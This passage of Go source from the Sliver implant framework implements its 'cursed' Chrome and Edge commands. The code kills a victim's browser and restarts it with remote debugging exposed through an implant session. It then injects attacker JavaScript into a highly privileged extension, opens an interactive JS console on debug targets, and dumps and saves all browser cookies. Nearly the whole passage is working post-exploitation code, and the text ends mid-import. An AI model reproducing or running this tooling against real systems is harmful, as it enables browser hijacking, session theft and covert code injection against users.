||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraChrome(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if chromeProcess != nil {
|
||||
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: chromeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(false, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
name := "Chrome"
|
||||
if isEdge {
|
||||
name = "Edge"
|
||||
}
|
||||
|
||||
con.PrintInfof("Finding %s executable path ... ", name)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Finding %s user data directory ... ", name)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
|
||||
con.PrintInfof("Starting %s process ... ", name)
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
if chromeUserDataDir != "" {
|
||||
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
|
||||
}
|
||||
if ctx.Flags.Bool("restore") {
|
||||
args = append(args, "--restore-last-session")
|
||||
}
|
||||
if ctx.Flags.Bool("keep-alive") {
|
||||
args = append(args, "--keep-alive-for-test")
|
||||
}
|
||||
if ctx.Flags.Bool("headless") {
|
||||
args = append(args, "--headless")
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExePath,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for %s process to initialize ... ", name)
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: chromeExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: chromeExePath,
|
||||
ChromeUserDataDir: chromeUserDataDir,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag := ctx.Flags.String("user-data")
|
||||
if userDataFlag != "" {
|
||||
return userDataFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
case "darwin":
|
||||
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag := ctx.Flags.String("exe")
|
||||
if exeFlag != "" {
|
||||
return exeFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
chromeWindowsPaths := []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
|
||||
}
|
||||
if isEdge {
|
||||
chromeWindowsPaths = []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
}
|
||||
}
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
for _, chromePath := range chromeWindowsPaths {
|
||||
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
|
||||
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExecutablePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromeExecutablePath, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "darwin":
|
||||
// AFAIK Chrome only installs to this path on macOS
|
||||
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
||||
if isEdge {
|
||||
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: defaultChromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return defaultChromePath, nil
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "linux":
|
||||
chromeLinuxPaths := []string{
|
||||
"/usr/bin/google-chrome",
|
||||
"/usr/bin/chromium-browser",
|
||||
"/usr/local/bin/google-chrome",
|
||||
"/usr/local/bin/chromium-browser",
|
||||
}
|
||||
if isEdge {
|
||||
chromeLinuxPaths = []string{
|
||||
"/usr/bin/microsoft-edge",
|
||||
"/usr/local/bin/microsoft-edge",
|
||||
}
|
||||
}
|
||||
for _, chromePath := range chromeLinuxPaths {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromePath, nil
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func isChromeProcess(executable string) bool {
|
||||
var chromeProcessNames = []string{
|
||||
"chrome", // Linux
|
||||
"google-chrome", // Linux
|
||||
"chromium-browser", // Linux
|
||||
"chrome.exe", // Windows
|
||||
"Google Chrome", // Darwin
|
||||
}
|
||||
for _, suffix := range chromeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/desertbit/readline"
|
||||
)
|
||||
|
||||
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
|
||||
startCursedConsole(curse, true, target, con)
|
||||
}
|
||||
|
||||
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
|
||||
if len(targets) < 1 {
|
||||
con.PrintErrorf("No debug targets\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
id2target := map[string]overlord.ChromeDebugTarget{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, target := range targets {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
|
||||
id2target[target.ID] = target
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a debug target:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedID := strings.Split(selected, " ")[0]
|
||||
selectedTarget := id2target[selectedID]
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
var (
|
||||
helperHooks = []string{
|
||||
"console.log = (...a) => {return a;}", // console.log
|
||||
}
|
||||
)
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
tmpFile, _ := ioutil.TempFile("", "cursed")
|
||||
reader, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31mcursed »\033[0m ",
|
||||
HistoryFile: tmpFile.Name(),
|
||||
// AutoComplete: nil,
|
||||
InterruptPrompt: "^C",
|
||||
EOFPrompt: "exit",
|
||||
HistorySearchFold: true,
|
||||
// FuncFilterInputRune: filterInput,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create read line: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if helpers {
|
||||
// Execute helper hooks
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
for _, hook := range helperHooks {
|
||||
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
|
||||
for {
|
||||
line, err := reader.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
break
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
} else if err == io.EOF {
|
||||
break
|
||||
}
|
||||
switch strings.TrimSpace(line) {
|
||||
|
||||
case ":help":
|
||||
con.Println()
|
||||
con.Println("Available commands:")
|
||||
con.Println(" :file - Execute local .js file")
|
||||
con.Println(" :help - Show this help")
|
||||
con.Println(" :exit - Exit the console")
|
||||
con.Println()
|
||||
|
||||
case ":file":
|
||||
jsCode, err := ioutil.ReadFile(line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
}
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
}
|
||||
con.Println()
|
||||
if 0 < len(result) {
|
||||
con.Printf("%s\n", result)
|
||||
con.Println()
|
||||
}
|
||||
|
||||
case ":exit":
|
||||
fallthrough
|
||||
case "exit":
|
||||
return
|
||||
|
||||
default:
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
if 0 < len(result) {
|
||||
con.Printf("%s\n", result)
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
|
||||
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to dump cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
|
||||
if len(cookies) == 0 {
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
|
||||
}
|
||||
jsonCookies := []string{}
|
||||
for _, cookie := range cookies {
|
||||
jsonCookie, err := cookie.MarshalJSON()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
|
||||
continue
|
||||
}
|
||||
jsonCookies = append(jsonCookies, string(jsonCookie))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Saved to %s", saveFile)
|
||||
con.Println()
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraEdge(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Edge extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Edge extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if edgeProcess != nil {
|
||||
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: edgeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(true, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func isEdgeProcess(executable string) bool {
|
||||
var edgeProcessNames = []string{
|
||||
"msedge", // Linux
|
||||
"microsoft-edge", // Linux
|
||||
"msedge.exe", // Windows
|
||||
"Microsoft Edge", // Darwin
|
||||
}
|
||||
for _, suffix := range edgeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isEdgeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,233 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
